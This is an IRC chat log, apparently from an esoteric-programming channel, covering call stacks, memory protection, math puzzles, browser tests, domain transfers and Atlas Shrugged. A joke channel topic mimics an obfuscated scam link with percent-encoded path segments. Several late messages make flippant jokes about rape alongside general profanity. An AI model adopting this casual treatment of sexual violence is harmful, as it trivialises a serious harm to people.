20:21:24 -!- MoALTz__ has quit (Ping timeout: 244 seconds).
20:22:45 <Nisstyre> kallisti: you might like this: http://www.amazon.com/review/R18C8QYFR1NU6J/ref=cm_aya_cmt?ie=UTF8&ASIN=0738202967#wasThisHelpful
20:22:48 <oerjan> <Gregor> LAME <-- you need to do it in private, duh
20:23:04 <elliott> oerjan: What a wonderfully context-free quote.
20:23:11 <oerjan> elliott: isolated mountain cottage, i said!
20:23:24 <elliott> Nisstyre: Without the #wasThisHelpful, one presumes.
20:24:28 <elliott> oerjan: <oerjan> <Gregor> LAME <-- you need to do it in private, duh <elliott> oerjan: What a wonderfully context-free quote.
20:24:32 <elliott> It wasn't in response to that?
20:24:45 <monqy> is this real guido
20:24:47 <oerjan> although feel free to pretend it was.
20:25:07 <elliott> It doesn't seem that unreasonable a review to me.
20:25:20 <elliott> Guido has said many stupider things.
20:25:24 <olsner> I'm a bit surprised he recognizes turing machines and basic computer science though
20:25:28 <Nisstyre> elliott: he basically gave it a bad review because he didn't understand what it was about
20:25:52 <elliott> Well, that's appropriate, no?
20:26:14 <elliott> You're meant to say what you think of a book in a review; he didn't find it that interesting and couldn't follow the last part.
20:26:21 <Nisstyre> well, no, not really, especially when it's supposed to be about QM, and you aren't educated in QM
20:26:36 <zzo38> Some people said computer science is not science and has nothing to do with computers; saying computer science is about computers is like saying astronomy is about telescopes.
20:27:02 <monqy> http://www.amazon.com/review/R2AVZ1CXQ025A9/ref=cm_aya_cmt?ie=UTF8&ASIN=B0014JLC7G guido reviews Spongebob 1.3MP Digital Camera
20:27:11 <kallisti> I'm not sure why a return address needs to be stored on a stack frame. I guess because the calling code is not always the frame directly above?
20:27:13 <Nisstyre> olsner: why would you be surprised that he knows about basic CS?
20:27:19 <elliott> Nisstyre: Okay, but the page for the book itself and the use of the term "last part" to refer to the quantum material implies to me that only part of the book is about QM.
20:27:21 <kallisti> ah, I guess when you add multiple processes to the mix...
20:27:26 * kallisti was thinking in the single-process case.
20:27:37 <elliott> zzo38: for values of some people equal to Dijkstra
20:27:52 <elliott> kallisti: If you don't store the return address on the stack, how do you return?
20:28:02 <olsner> Nisstyre: well, I've always assumed he didn't
20:28:26 <Nisstyre> olsner: he would have to in order to have implemented such a successful language
20:28:37 <kallisti> elliott: well would it be possible, in the case where there's only one thread of execution, to just increment the frame pointer by sizeof(stackframe)
20:28:42 <Nisstyre> (plus I'm pretty sure he has a degree in CS)
20:29:15 <Nisstyre> he does say a lot of stupid stuff though
20:29:17 <elliott> kallisti: how does that pass control back to the code that called you?
20:29:34 <oerjan> kallisti: note that afaik a frame doesn't contain the code or ip for its _own_ code
20:29:50 -!- Chef_ has joined.
20:30:09 <olsner> kallisti: if you have multiple threads, each thread has its own stack
20:30:24 <olsner> switching stacks (and some other state) is how multiprocessing is implemented
20:30:46 <elliott> Not multiprocessing, multithreading, no?
20:30:54 <elliott> Multiprocessing = multiple CPUs, to my understanding.
20:31:11 <olsner> right, I mean multitasking or something
20:31:33 <kallisti> so a multi-core system does each CPU have a seperate block of memory for stack?
20:32:14 <oerjan> kallisti: mind you iirc the Icon programming language has a stack regime so complicated that what you said does apply to it.
20:32:51 <olsner> kallisti: each cpu has its stack pointer pointing to the stack of whatever thread is running on it
20:33:07 <elliott> kallisti: Each thread has its own block of memory to use as a stack.
20:33:15 <elliott> oerjan: cactus/spaghetti stack, right?
20:33:25 -!- Chef__ has quit (Ping timeout: 245 seconds).
20:33:26 <elliott> But that's linked-list style, so it's not really comparable at all.
20:33:43 <kallisti> that makes way more sense that physically swapping out a large block of memory into specially designated "stack" block.
20:33:59 <olsner> indeed, that's partially why it's done that way
20:34:45 <oerjan> elliott: i'm not sure what it was called but i think it was an actual stack in order, not heap frames
20:35:15 <oerjan> it's just that frames sometimes linger even if you return beyond them
20:35:44 <oerjan> and it allows for some interesting control despite not needing heap
20:35:46 <elliott> kallisti: As I said, "it's whatever the stack poniter points to".
20:36:17 <elliott> oerjan: icon is awesome because you can write x == (y | z) :P
20:36:19 <kallisti> does the CPU have any information about the size of the stack frame?
20:36:53 <kallisti> in, frames, or, whatever unit you want.
20:37:19 <olsner> IIRC, Ada has two stacks
20:37:21 <kallisti> as in, the maximum size of the stack.
20:37:27 <elliott> kallisti: Why would it have a maximum?
20:37:59 <olsner> well, it does have a maximum limited by the amount of virtual address space
20:38:03 <kallisti> as far as I know, it's a thing in many languages to specify a max stack limit. I'm basically wonder how this is implemented.
20:38:25 <olsner> or, it wraps after that... that could be fine if you want an infinite circular stack
20:38:26 <elliott> If you mean Python: Manually.
20:38:37 <elliott> If you mean pthreads: you can control how much memory the OS allocates for you to use as stack.
20:38:48 <elliott> If you mean generally: question is too vague to answer and has incorrect underlying assumptions.
20:39:07 <Nisstyre> my calculator's stack is only limited by the amount of memory available
20:39:24 <elliott> Hmm, what do you call a 2D torus? :P
20:39:44 <oerjan> elliott: er, what does that mean?
20:39:54 <oerjan> a torus is 2d, in a sense
20:40:16 <elliott> oerjan: A wrapping 2D field is a torus.
20:40:19 <elliott> A wrapping 1D field... oh, right.
20:40:30 <elliott> Strange things, these "circles".
20:40:46 <oerjan> the nD torus is simply the topological product of n circles.
20:41:15 <elliott> What's the topological product identity?
20:41:40 <oerjan> to the point that i've seen blackboard bold T used to denote a circle
20:41:57 <oerjan> elliott: single point set
20:42:34 <elliott> Even if I actually meant 2D torus.
20:43:27 <kallisti> elliott: is my underlying assumption that there is a general way to specify stack size?
20:43:44 <oerjan> so that $\mathbb{T}^n$ denotes an n torus, even though $S^n$ customarily denotes an n-sphere.
20:43:56 <elliott> kallisti: One of your underlying assumptions is the word "size".
20:44:03 <elliott> Perhaps you assume the CPU allocates memory.
20:44:47 <kallisti> I'm wondering how a "stack overflow exception" occurs
20:45:00 <elliott> Most languages check it theirselves.
20:45:01 <kallisti> if the CPU has no knowledge of the bounds of the memory its accessing.
20:45:17 <kallisti> ah, okay. What about, say, C? is that just a normal memory access exception of some kind?
20:45:33 <elliott> oerjan: Maybe they're thinking of \mathbb{T} as a function with weird syntax.
20:46:07 <kallisti> elliott: so the stack is allocated then...?
20:46:35 <elliott> kallisti: Try again when you have a coherent question.
20:46:45 <oerjan> elliott: no, i mean, $X^n$ may usually denote the product of n $X$ copies, but for S it means something different.
20:47:03 <elliott> oerjan: It's S that's the function with weird syntax, then.
20:47:16 <kallisti> elliott: in order for the segfault to occur, it has to be trying to access memory that the program isn't allowed to access, right?
20:47:32 <kallisti> or other trying to access something like NULL, for example.
20:48:00 <kallisti> doesn't that imply some sort of allocation of the memory?
20:48:06 <elliott> kallisti: Yes, CPUs have memory protection.
20:51:17 <quintopia> C programs can protect parts of their own memory too. i thought that stacks typically start at the end of a program's memory and grow downward toward the heap though?
20:51:30 <kallisti> so what's incorrect about the assumption that the CPU allocates memory?
20:51:39 <elliott> quintopia: Yeah, stacks grow downwards on most CPUs.
20:51:47 <elliott> kallisti: The incorrect part is that CPUs don't allocate memory.
20:52:28 <kallisti> what else could possibly be allocating memory....
20:52:39 <elliott> kallisti: Allow me to introduce you to the "operating system".
20:52:42 <zzo38> Does the C computer allocate memory?
20:52:53 <olsner> the allocation is done by the "Dynamic" in DRAM
20:53:05 <kallisti> elliott: my computer doesn't have one of those. I think I forgot to order the part.
20:53:19 <olsner> before that we used SRAM where everything was preallocated in the factory
20:53:44 <fizzie> olsner: So what's this SDRAM then?
20:53:59 <zzo38> NES/Famicom does not have enough RAM for dynamic allocation; everything is allocated at compile-time
20:54:10 <kallisti> elliott: but yes I understand what you meant now.
20:54:24 <kallisti> by "CPU allocates memory" you meant something like there's a specific memory allocation instruction, or something.
20:54:33 <olsner> fizzie: synchronized, it's for multithreading
20:54:40 <elliott> Yes, which would be required for it to know about RAM.
20:54:44 <elliott> Yes, which would be required for it to know about sizes of things.
20:54:48 <elliott> Or else the OS would have to tell it.
20:54:52 <elliott> `addquote <olsner> the allocation is done by the "Dynamic" in DRAM <olsner> before that we used SRAM where everything was preallocated in the factory <fizzie> olsner: So what's this SDRAM then? <olsner> fizzie: synchronized, it's for multithreading
20:54:55 <HackEgo> 809) <olsner> the allocation is done by the "Dynamic" in DRAM <olsner> before that we used SRAM where everything was preallocated in the factory <fizzie> olsner: So what's this SDRAM then? <olsner> fizzie: synchronized, it's for multithreading
20:57:17 <kallisti> to what degree is a typical processes virtual address space physically contiguous?
20:57:37 <fizzie> cat some /proc/pid/maps to find out?
20:58:01 <fizzie> Oh, "physically continuous".
20:58:21 <fizzie> Never mind, then. maps just lists the ranges, not where they end up.
20:58:27 -!- monqy has quit (Read error: Operation timed out).
20:58:48 -!- oerjan has set topic: TKOE | Breeding zebras as an information storage medium | http://codu.org/logs/_esoteric/.
20:59:01 <kallisti> ah. I'm not even sure why I'm curious
20:59:32 <oerjan> elliott: i think i shall leave that up to your imagination.
20:59:54 <olsner> there's also a /proc/pid/pagemap that has the physical map in some binary format
21:00:06 <oerjan> you _may_ have guessed the word i initially intended.
21:00:08 -!- monqy has joined.
21:00:57 <HackEgo> lycopel ipha substip lhware mstruri pel neve vieredereoplatio imporph montific mer gray pischon ciparti systo wibate bonessorlverha boee ypera prispea peti admont phocea nouver arthemato
21:01:02 <elliott> zzo38: I already said The :(
21:01:22 <elliott> Busty Testicles' Kind of Esoteric?
21:01:52 <kallisti> ....I'm wondering why the ' is there.
21:01:56 <elliott> Out of curiosity, do I have to sign up for GoDaddy to get a GoDaddy domain transferred to me if I plan to transfer it from GoDaddy?
21:02:06 <elliott> kallisti: Possssssszessive.
21:02:10 <kallisti> I think "Busty Testicles Kind of Esoteric" would make more sense
21:02:15 <kallisti> it reads like a news headline.
21:02:33 <oerjan> elliott: banach-tarski, duh
21:02:34 -!- monqy_ has joined.
21:03:36 <elliott> oerjan: SO WHAT'S THE T IN THE TOPIC
21:03:45 <elliott> kallisti: Oh, that works too.
21:04:43 <kallisti> at least, that's the main reason I'm here..
21:04:58 <elliott> kallisti: What, busty testicles?
21:05:16 <Gregor> <elliott> Out of curiosity, do I have to sign up for GoDaddy to get a GoDaddy domain transferred to me if I plan to transfer it from GoDaddy? // you shouldn't have to, and typically registrars make it about as difficult as legally possible to transfer domains to a different registrar.
21:05:32 <elliott> Gregor: Shouldn't have to what?
21:05:47 <elliott> And yeah, I know they do, but it's obviously not that hard given that mass migration away from GoDaddy circa SOPA.
21:05:51 -!- monqy has quit (Ping timeout: 244 seconds).
21:06:02 <elliott> Now I am going to sign a song for Alan Dipert.
21:06:09 <Gregor> elliott: You shouldn't have to sign up, no.
21:06:14 <elliott> Alan Dipert / Wake the fuck up / Fuck fuck fuck fuck / Wake the fuck up.
21:06:32 <elliott> Gregor: So someone could transfer a GoDaddy domain to someone else using Gandi?
21:06:32 <HackEgo> 509) <monqy> beautiful summer / fuck fuck fuck fuck fuck fuck fuck / fuck fuck fuck fuck fuck
21:06:34 <Gregor> You'll need the current owner to give you a transfer code.
21:06:43 -!- zzo38 has set topic: Iuckqlwviv Kjugobe was not here yet. | TKOE | Breading zebras as an information shortage medium | http://codu.org/logs/_esoteric/ | httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM.
21:06:59 <olsner> I think the registrar you transfer to takes care of transferring once you have the appropriate proof that you should be able to
21:07:03 <Gregor> Then GoDaddy has 30 days (IIRC) to sit on their ass and not transfer it while giving you the opportunity to confirm that the transfer was a fake, but not giving you the opportunity to confirm that it was legitimate.
21:07:34 <kallisti> are these topics supposed to be making sense?
21:07:36 <Gregor> PiRSquared17: It says it's not a scam right there!
21:07:41 <kallisti> perhaps I haven't divined enough esoteric knowledge.
21:08:03 <elliott> PiRSquared17: to look more Professional
21:08:25 -!- elliott has set topic: For direct log access , 10 year of experience. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM ..
21:08:51 <zzo38> Someone told me that GoDaddy turned it off one week before it is time for renew payment if it is not automatic
21:09:12 -!- monqy_ has changed nick to monqy.
21:10:00 <Gregor> But stalker mode is still read-only.
21:10:28 <kallisti> do you intend to make it read-write?
21:10:35 <olsner> I don't get this stalker mode thing, what is it?
21:10:45 <PiRSquared17> olsner: http://64.62.173.65/%49%27/.%2E/lo%67s/log/_esoteric/s
21:11:31 <Deewiant> https://64.62.173.65/logs/log/_esoteric/s looks unsafe!
21:11:39 <olsner> looks like it's displaying 20 random lines from the log
21:11:54 <olsner> not the latest, but always the same
21:12:31 <elliott> olsner: r u SURE????????????
21:12:37 <olsner> it's less than one page, no way to scroll down
21:13:07 <olsner> elliott: yes, is it broken in opera?
21:13:12 <elliott> Hey Gregor, an Opera user is having problems with your JS.
21:13:50 <olsner> reloading in the debugger actually put some more lines on there
21:13:59 <elliott> Gregor: Whoa, what's this require() thing that isn't in a library?
21:14:05 <olsner> Last line is "06:13:32: * Sgeo is reading the BOFH archives"
21:14:38 <Gregor> Never tested it in Opera, I guess all three Opera users will just have to live without stalker mode.
21:16:49 <elliott> How much does it cost to steal a domain from someone
21:17:10 <kallisti> elliott: you could negotiate an offer with them
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21:18:31 <elliott> kallisti: I'm not going to dignify that with a response.
21:19:21 <fizzie> I think the canonical form is "I'm not going to dignify that with a response other than 'I'm not going to dignify that with a response.'"
21:19:46 <elliott> But I didn't dignify them with that response.
21:19:48 <elliott> It's missing the second half.
21:19:50 <fizzie> Possibly with some sort of "other than #1" notation to make it recursive.
21:19:51 <monqy> but that's a response other than "I'm not going to dignify that with a response."
21:20:11 <fizzie> It's a thing I've seen said.
21:20:48 <monqy> and I've heard it written
21:21:00 <fizzie> #0=I'm not going to dignify that with a response other than '#0#'.
21:21:24 <fizzie> I think MzScheme used to show recursive things like that. Or at least somewhat like that.
21:23:04 <Sgeo> I want to learn a lisp.
21:23:11 <Sgeo> But I always get hung up on the choices.
21:23:48 <oerjan> > var . intercalate "I'm not going to dignify that with a response other than " $ cycle "'\""
21:23:49 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
21:24:24 <oerjan> > var . intercalate "I'm not going to dignify that with a response other than " $ cycle ["'","\""]
21:24:26 <lambdabot> 'I'm not going to dignify that with a response other than "I'm not going to...
21:26:27 <fizzie> I think it would be nicer if it had the matching-quote ". at the hypothetical end.
21:30:50 <kallisti> wow I leave for several minutes
21:30:54 <kallisti> and... we're still talking about that.
21:31:05 -!- Chef_ has joined.
21:33:16 <elliott> oerjan: can you add the end quotes thanx
21:33:33 <oerjan> but but i'd just decided not to bother D:
21:35:40 <fizzie> > let resp = "I'm not ... other than 'I'm not ... other than \""++resp++".\".'" in resp
21:35:41 <lambdabot> "I'm not ... other than 'I'm not ... other than \"I'm not ... other than 'I...
21:36:35 <elliott> oerjan: wtf, why is it not valid to use a (forall a. (C a) => a) as a b given C b?
21:36:57 <fizzie> (You could argue about the .; as a non-native speaker, I fortunately don't have to.)
21:37:36 <elliott> must be some other problem here
21:40:10 <elliott> oerjan: fizzie: Relevant: http://sprunge.us/CBjS
21:40:22 <elliott> Now you can *check* that your strings include the required endings!
21:41:02 <elliott> Oh, Reverse is just Dual String.
21:41:53 <elliott> *Main> putStrLn $ summarise resp
21:41:53 <elliott> I'm not ... other than 'I...'.".'.".'.".'.".'.".'.".'
21:42:00 <elliott> As we can see, fizzie's is good but omits the final .
21:42:15 <elliott> *Main> putStrLn $ summarise resp
21:42:15 <elliott> I'm not ... other than 'I[...]'.".'.".'.".'.".'.".'.".'
21:42:17 <elliott> That's a bit more readamable.
21:44:09 <elliott> oerjan: Come on, that's a cute hack. :(
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21:45:35 <fizzie> elliott: Yes, I was going to end it in ... in resp++"." but forgotteded.
21:47:19 <lambdabot> <no location info>: parse error on input `:>'
21:47:27 <lambdabot> Not in scope: data constructor `:>'
21:48:59 -!- MoALTz has quit (Ping timeout: 276 seconds).
21:53:27 <HackEgo> "Banach-Tarski" is an anagram of "Banach-Tarski Banach-Tarski".
21:54:37 <oerjan> quintopia: what's yellow and equivalent to the axiom of choice?
21:55:42 <quintopia> a good orange should not be yellow
21:55:51 <quintopia> a good orange is sweet and delicious
21:56:06 <fizzie> Much like a good yellow shouldn't be orange.
21:56:17 <oerjan> the answer, of course, is zorn's lemon.
21:56:18 -!- MoALTz__ has joined.
21:56:31 <quintopia> fizzie, did you have any other clever self-inverses?
21:56:51 <fizzie> quintopia: oerjan constructed an infinite amount of them.
21:57:09 <quintopia> an infinite number of families of self-inverses?
21:57:39 <quintopia> which of those families have a finite number of discontinuities? those interest me the most
21:57:46 <kallisti> a self-inverted banach-tarski of families of self-inverses. (what)
21:57:49 <fizzie> quintopia: f(x) = (2 - x^(1/3))^3 is a continuous one.
21:58:33 <olsner> Gregor: for some reason you only get one event from that xmlhttprequest that downloads the logs
21:58:45 <olsner> (you're probably doing something wrong, because Opera is perfect :P)
21:59:06 <elliott> olsner: Go stare at the Acid 3 test some more if you're losing faith.
21:59:18 <quintopia> fizzie: aha.to generalize that to a whole lot of continuous ones
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22:00:02 <fizzie> quintopia: And for any continuous bijection g(x) from R^+ to R^+ (i.e. any suitable wiggle) that has lim x->0+ g(x) = 0, there's f(x) = { 0 if x = 0; -g(x) if x > 0; g^-1(-x) if x < 0 }.
22:01:08 <elliott> Lag deletes keypresses now?
22:01:33 <quintopia> if those keypresses are transmitted in a subset of packets which get dropped
22:01:47 <elliott> fizzie: "Wiggle" is the bestest terminology.
22:02:01 <fizzie> quintopia: Anyway, oerjan's generic construction was g . f . g^-1 for any homeomorphism g, and any existing suitable involution f. The (2 - x^(1/3))^3 came from f(x) = -x and g(x) = 1+x^3 or something.
22:02:35 <oerjan> f(x) = 2 - x, g(x) = x^3 is rather more obvious in afterthought :P
22:03:14 <quintopia> the real part of (2 - x^(1/3))^3 does not appear to be symmetrical across y=x
22:03:19 <kallisti> chrome is not standards compliant!!!
22:03:39 <fizzie> quintopia: You're probably not using the right cube root, then.
22:03:49 <fizzie> quintopia: You want the completely real one.
22:04:10 <kallisti> "the animation has to be smooth" lol
22:04:50 <oerjan> that R^+ to R^+ version fizzie mentioned is of course a special case of mine
22:04:52 <kallisti> what. everytime I reload http://acid3.acidtests.org/ I get a different score.
22:05:32 <oerjan> although i suspect that it's also the other way around modulo a translation or so
22:05:59 <elliott> kallisti: yes, that's intentional
22:05:59 <fizzie> oerjan: Yes, and for my "wiggle", f(x) = { k if x = k; k-g(x-k) if x > k; k+g^-1(k-x) if x < k } was an obvious generalization to let the wiggle and mirrored wiggle (the /antiwiggle/) meet anywhere on the y=x line, not just at 0.
22:06:24 <elliott> my chrome passes here, although the "smooth" bit is dubious
22:06:49 <oerjan> oh hm wait not the other way maybe
22:07:16 <kallisti> though sometimes it stops at 97
22:07:23 <oerjan> no reason why R^+ and R^- parts have to reflect each other
22:07:28 <elliott> because of browser bugs, presumably
22:07:33 <elliott> view the source, it'll be in there somewhere
22:08:18 <elliott> //* COMMENTED OUT BECAUSE SVGWG KEEPS CHANGING THIS
22:08:31 <oerjan> quintopia: i also had another construction but that is breaking R into intervals so gives lot of discontinuities
22:08:51 <quintopia> fizzie described a specialization of such
22:09:03 <elliott> the previous acid tests are http://www.w3.org/Style/CSS/Test/CSS1/current/test5526c.htm and http://acid2.acidtests.org/, fwiw
22:09:16 <elliott> my chrome is one or two pixels off acid2 :(
22:09:18 <kallisti> elliott: does it do anything to throw off acceptance of non-standard SGML comment styles?
22:10:47 <kallisti> I can't recall exactly where I read it
22:10:54 <kallisti> but there's something that's commonly accepted but non-standard...
22:11:37 <kallisti> http://htmlhelp.com/reference/wilbur/misc/comment.html
22:12:16 <elliott> kallisti: Browsers do <!-- foo -- bar --> "correctly" these days, IIRC.
22:12:25 <elliott> I believe Hixie, the author of Acid3, pushed Mozilla to but regrets it.
22:12:41 <fizzie> oerjan: It sounds likely that y=f(x) has to be symmetric across y=x for any suitable f, so in some sense it doesn't sound impossible to handwave-argue that having a freely choosable "one half" should be enough to get all of them.
22:15:14 * elliott throws bricks into windows.
22:15:42 <olsner> *when* is alan dipert?
22:15:57 <olsner> is alan always dipert, or only sometimes dipert?
22:16:01 <elliott> olsner: ALAN DIPERT is the owner of esolangs.org.
22:16:08 <elliott> His name is always written in all-caps as of now.
22:16:20 <oerjan> elliott: NOOOO http://xkcd.com/1013/
22:16:39 <quintopia> i can't find a graphing tool on the internet that has x^(1/3) defined for x<0
22:16:42 <elliott> oerjan: No. Fuck you. That was a terrible xkcd and it was days ago so you have no right to remember it.
22:16:54 <elliott> Also, I only said it once, so it's not even a relevant reference.
22:16:58 <fizzie> quintopia: oerjan also cheated W|A to plot it.
22:17:16 <fizzie> quintopia: By doing sgn(x)*abs(x)^(1/3).
22:17:25 <fizzie> As opposed to x^(1/3).
22:17:32 <fizzie> He's quite a cheatoguy.
22:17:33 <olsner> elliott: always so negative against xkcd
22:17:41 <quintopia> fizzie: wtf! that shouldn't even be necessary!
22:18:21 <fizzie> quintopia: Mathematica's idea of "first" cube root is the one that has the smallest (positive) angle, or some-such.
22:18:34 <elliott> olsner: Says our favourite Python-hater.
22:19:02 <kallisti> I hate Python, and use my past experience with Python to help make me sound legit.
22:19:09 <quintopia> fizzie: try that again? which angle?
22:20:12 <fizzie> quintopia: The three cube roots of negative x are at angles pi/3, pi (the negative but real one), and -pi/3. Since they're spaced at intervals of 2pi/3.
22:20:41 <elliott> kallisti: Pretty sure olsner has used Python too.
22:21:09 <kallisti> elliott: what? no, I am the only Python user.
22:21:20 -!- Gregor has set topic: Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM.
22:21:46 <elliott> kallisti: BTW click the "A" in "Acid3" to see details about what took a long time.
22:21:51 <quintopia> fizzie: other tools just refuse to pick one, and leave it undef. for -x
22:21:58 <elliott> It reports a test taking many attempts for me, which could explain nondeterminism.
22:22:10 <elliott> kallisti: e.g. perhaps it's busylooping to wait for a DOM element to start existing or such.
22:22:14 <oerjan> if f(x) = y > x, then f(x)-x > 0 > x-f(x) = f(y)-y so there exists x < z < y s.t. f(z) = z
22:22:46 <kallisti> Test 04 failed: expected 'null' but got '[object HTMLDivElement]' - expectation 39 failed
22:22:49 <kallisti> Test 05 failed: expected 'instructions' but got '' - expectation 21 failed
22:22:51 <kallisti> Test 26 passed, but took 197ms (less than 30fps)
22:22:54 <kallisti> Test 43 passed, but took 39ms (less than 30fps)
22:22:56 <kallisti> Test 69 failed: timeout -- could be a networking issue
22:24:27 <oerjan> oh and f is of course bijective again
22:25:41 <olsner> kallisti: you're a Python user? poor soul :(
22:25:41 <oerjan> i think only f(x) = x is increasing
22:26:19 <kallisti> but I do occasionally do Python work
22:26:37 <kallisti> also, before I knew any better, Python was my favorite language.
22:27:16 <olsner> kallisti: favorite. language. wat?
22:27:35 <kallisti> at the time I knew... Python, C, and Java.
22:27:49 <quintopia> where can i find info about how the memory is arranged and managed in GNU c programs?
22:27:49 <olsner> hmm, but you still had C as an alternative
22:27:52 -!- oerjan has set topic: Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | Waiting for Dipert.
22:28:00 <Phantom___Hoover> quintopia, for some reason I know the correct line is "where is John Galt" and now I hate myself.
22:28:00 <kallisti> olsner: this was also before I liked static typing.
22:28:22 -!- olsner has set topic: Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | Waiting for DIPERT.
22:28:23 <elliott> Phantom___Hoover: it isn't
22:28:42 <elliott> your mind remains unfucked by shittery
22:28:51 <quintopia> i just watched the movie last night cuz my mom wanted to
22:28:57 <quintopia> i was far more terrible than i expected
22:29:33 <kallisti> so I have one of those rolling chairs that let you adjust height
22:29:38 <kallisti> which means I'm not going to be productive anymore.
22:29:44 <elliott> quintopia: did u kkno it's only part 1
22:29:56 <kallisti> I'm just going to roll around while pulling levers
22:30:01 <quintopia> i'm not sure if i want to suffer part 2 tho
22:30:04 <elliott> yes EVEN MORE shrugging to come
22:30:25 <elliott> atlas shrugged, atlas shrugged 2: shrug harder
22:31:22 <fizzie> Which is a total shrugfest of a book.
22:32:17 <kallisti> Atlas Shrugged Redux: shrug hard, or shrug trying
22:33:18 <monqy> film that's just a guy shrugging, put on loop
22:33:44 <olsner> so what is atlas shrugged about?
22:34:21 <elliott> olsner: RATIONAL SELF-INTEREST
22:34:44 <elliott> (advanced enlightened self-interest)
22:40:09 <elliott> olsner: tl;dr trains trains trains BEST NEW METAL EVER "fuck no you can't do that" -govt WHO IS JOHN GALT WHO IS JOHN GALT WHO IS JOHN GALT WHO IS JOHN GALT "I AM JOHN GALT [speech that literally lasts tens and tens of pages]" and then they all go to live in a perfect objectivist captalist utopia
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22:41:07 <olsner> new metal? is that about rock music or about materials?
22:41:56 <elliott> I believe it predates metal.
22:43:14 <olsner> so it's about the stone age then?
22:44:00 <olsner> they have cars and stuff in the flintstones, why not
22:47:13 <elliott> How long do North Carolinians sleep?!
22:48:12 -!- MoALTz_ has joined.
22:48:36 <Phantom___Hoover> (He said that he wasn't going to subject the hamsters to *that* scene.)
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22:49:33 <elliott> Phantom___Hoover: Ayn Rand's sex scenes are usually (universally?) rapes.
22:49:44 <elliott> The victim comes out the other end liking it, obviously.
22:49:47 <elliott> It's Ayn Rand, what do you expect?
22:50:05 -!- pikhq_ has quit (Ping timeout: 276 seconds).
22:50:11 <elliott> I think there's something like 3 in Atlas Shrugged.
22:50:46 <quintopia> elliott: which is why i was surprised that the sex scene in the movie was only an extramarital affair (oh, and there was that one other one where it was boring and intra-marital)
22:51:21 -!- MoALTz__ has quit (Ping timeout: 244 seconds).
22:51:47 <elliott> quintopia: Well, Randians tend to internalise that crap and bullshit it off when anyone points it out, so it's not surprising they'd tune it down for the "masses".
22:52:15 <quintopia> elliott: ugh, i'd have rather seen 2 hours of rape than what i saw
22:55:16 <olsner> pretty sure you could've done that, why didn't you?
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23:05:09 <quintopia> she would not have preferred rape.
23:05:26 <quintopia> although she agrees it was a terrible movie
23:12:10 -!- elliott has joined.
23:14:27 <elliott> http://upload.wikimedia.org/wikipedia/commons/e/ec/Acid2_in_Opera_Mini_4.png
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23:16:54 <Phantom___Hoover> http://www.reddit.com/r/skyrim/comments/pwp2h/what_i_want_to_see_as_console_dlc_if_you_play_on/c3sw483
23:18:04 <elliott> Phantom___Hoover: Santa can't exist; telling whether someone is naughy or nice is the Halting problem. Q.E.D.
23:18:14 <elliott> Faster-than-light travel? Halting problem.
23:18:22 <elliott> Predicting the weather? Halting problem.
23:18:32 <elliott> Designing skyscrapers? Halting problem.
23:19:13 <quintopia> oh, so you meet lots of girls elliott?
23:19:26 <elliott> You don't have to do something if you formally prove it's possible!
23:19:29 <elliott> That's the Halting problem.
23:20:00 <quintopia> have you formally proved its my problem?
23:20:55 -!- MoALTz__ has joined.
23:21:45 <quintopia> really? could have sworn it was on hilbert's list
23:22:06 <oerjan> no, i think that was on feynman's list
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23:30:19 <elliott> Estimated time until 7:00 ADT: five years.
23:30:59 <zzo38> What is this ADT supposed to be?
23:31:19 <elliott> His alarm is set for 7:00, naturally.
23:31:32 <shachaf> elliott: So I installed Debian testing.
23:31:45 <shachaf> Life is good, except for all the bad parts.
23:33:18 <shachaf> Over the wireless network.
23:33:41 <shachaf> It involved a bit of trickery.
23:33:51 <shachaf> It also took 3 hours or more, over my connection.
23:34:13 <shachaf> I should've gone somewhere with a faster connection.
23:34:15 <elliott> Also, what are you using for X?
23:34:29 <shachaf> The trickery was something about something.
23:34:38 <shachaf> In general the support is on the netinst CD, more or lessish.
23:35:13 <shachaf> I'm using Xfce for the moment. Not particularly happy with it but I didn't want to set something more complicated up.
23:35:45 <elliott> You can enable dragging items on the taskbar, by the way, but it's hard to use (doesn't like to accept the drags).
23:35:48 <elliott> (That was one of my main annoyances.)
23:36:12 <shachaf> I have bigger annoyances than that.
23:36:27 <shachaf> It keeps resetting my caps lock key to lockin' the caps. :-(
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23:39:58 <shachaf> Why are these things all huge evil monoliths?
23:40:36 <shachaf> Desktop environment things.
23:40:44 <elliott> Because that's the definition of a desktop environment.
23:40:49 <elliott> Anyway, you didn't install xfce-goodies, did you?
23:40:51 -!- MoALTz__ has quit (Ping timeout: 244 seconds).
23:40:54 <elliott> That contains all the terrible Xfce applications.
23:41:12 <oerjan> shachaf: don't ask us, ask the aliens who made them
23:42:08 <shachaf> Doesn't look like I installed it.
23:42:24 <shachaf> What happened to the GNOME people, anyway?
23:42:41 <shachaf> GNOME used to be an OK Windows clone, more or less. Now it's a terrible OS X clone, more or less.
23:42:54 <elliott> GNOME 3 is nothing like OS X.
23:43:09 <elliott> For that matter, GNOME 2 is not that much like Windows.
23:43:10 <shachaf> I assume that it'll eventually turn into an OK OS X clone. It was a terrible Windows clone once, after all.
23:43:28 <shachaf> Why does it use Alt-tab to switch between applications and Alt-` to switch between windows of an application?
23:43:52 <Jafet> The Windows desktop is designed with strange but consistent principles
23:44:28 <Jafet> The Gnome 2 desktop is like humans discovering ancient alien technology and copying it
23:44:50 <zzo38> I do know when I work on the Ubuntu at FreeGeek, I noticed many things that didn't work like Windows.
23:45:09 <zzo38> Although many things did work like Windows.
23:45:11 <elliott> shachaf: OS X doesn't use those, either.
23:45:30 <elliott> Jafet: GNOME 2 is far more consistent than Windows circa XP.
23:45:59 <shachaf> Windows circa XP is pretty consistent.
23:46:21 <elliott> Jafet: What's inconsistent about GNOME 2?
23:47:18 <Jafet> Many gtk dialogs have small inconsistencies, such as the fact that you cannot undo in a certain kind of text input box
23:47:52 <Jafet> Or some dropdown selectors cannot be used by keyboard
23:48:01 <elliott> That undo thing applies to Windows too, I'm pretty sure.
